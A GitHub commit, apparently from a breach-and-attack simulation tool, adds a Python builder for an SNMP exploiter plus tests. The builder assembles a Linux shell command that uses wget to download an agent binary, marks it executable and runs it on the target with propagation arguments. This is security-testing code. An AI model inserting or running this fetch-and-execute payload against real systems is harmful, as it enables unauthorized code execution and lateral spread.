Skip to content

Commit 575196d

Browse files
cakekoamssalvatore
authored andcommitted
SNMP: Add command builder
Issue #3234 PR #3312
1 parent 1856a91 commit 575196d

File tree

2 files changed

+97
-0
lines changed

2 files changed

+97
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
from typing import Sequence
2+
3+
from common import OperatingSystem
4+
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
5+
from common.types import AgentID
6+
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
7+
from infection_monkey.i_puppet import TargetHost
8+
from infection_monkey.model import MONKEY_ARG
9+
from infection_monkey.utils.commands import build_monkey_commandline
10+
11+
SNMP_LINUX_COMMAND_TEMPLATE = (
12+
"wget -O %(monkey_path)s %(http_path)s "
13+
"; chmod +x %(monkey_path)s "
14+
"; %(agent_otp_environment_variable)s=%(agent_otp)s "
15+
"%(monkey_path)s %(monkey_type)s %(parameters)s"
16+
)
17+
18+
19+
def build_snmp_command(
20+
agent_id: AgentID,
21+
target_host: TargetHost,
22+
servers: Sequence[str],
23+
current_depth: int,
24+
agent_download_url: str,
25+
otp: str,
26+
) -> str:
27+
if target_host.operating_system == OperatingSystem.WINDOWS:
28+
raise Exception(f"Unsupported operating system: {target_host.operating_system}")
29+
30+
monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)
31+
32+
return SNMP_LINUX_COMMAND_TEMPLATE % {
33+
"monkey_path": get_agent_dst_path(target_host),
34+
"http_path": agent_download_url,
35+
"monkey_type": MONKEY_ARG,
36+
"parameters": monkey_cmd,
37+
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
38+
"agent_otp": otp,
39+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
from ipaddress import IPv4Address
2+
from pathlib import PurePosixPath
3+
from typing import Optional
4+
5+
import pytest
6+
from agent_plugins.exploiters.snmp.src.snmp_command_builder import build_snmp_command
7+
8+
from common import OperatingSystem
9+
from infection_monkey.i_puppet import TargetHost
10+
from infection_monkey.utils.ids import get_agent_id
11+
12+
AGENT_EXE_PATH = PurePosixPath("/tmp/agent")
13+
OTP = "123456"
14+
AGENT_ID = get_agent_id()
15+
TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX)
16+
SERVERS = ["127.0.0.1"]
17+
DEPTH = 2
18+
URL = "1.1.1.1/agent"
19+
20+
21+
@pytest.fixture
22+
def build_command():
23+
def build(host: Optional[TargetHost] = None) -> str:
24+
return build_snmp_command(
25+
AGENT_ID,
26+
host or TARGET_HOST,
27+
SERVERS,
28+
DEPTH,
29+
URL,
30+
OTP,
31+
)
32+
33+
return build
34+
35+
36+
def test_exception_raised_for_windows(build_command):
37+
with pytest.raises(Exception):
38+
host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS)
39+
build_command(host=host)
40+
41+
42+
def test_servers(build_command):
43+
command = build_command()
44+
45+
for server in SERVERS:
46+
assert server in command
47+
48+
49+
def test_otp_used(build_command):
50+
command = build_command()
51+
52+
assert OTP in command
53+
54+
55+
def test_url_used(build_command):
56+
command = build_command()
57+
58+
assert URL in command

0 commit comments

Comments
 (0)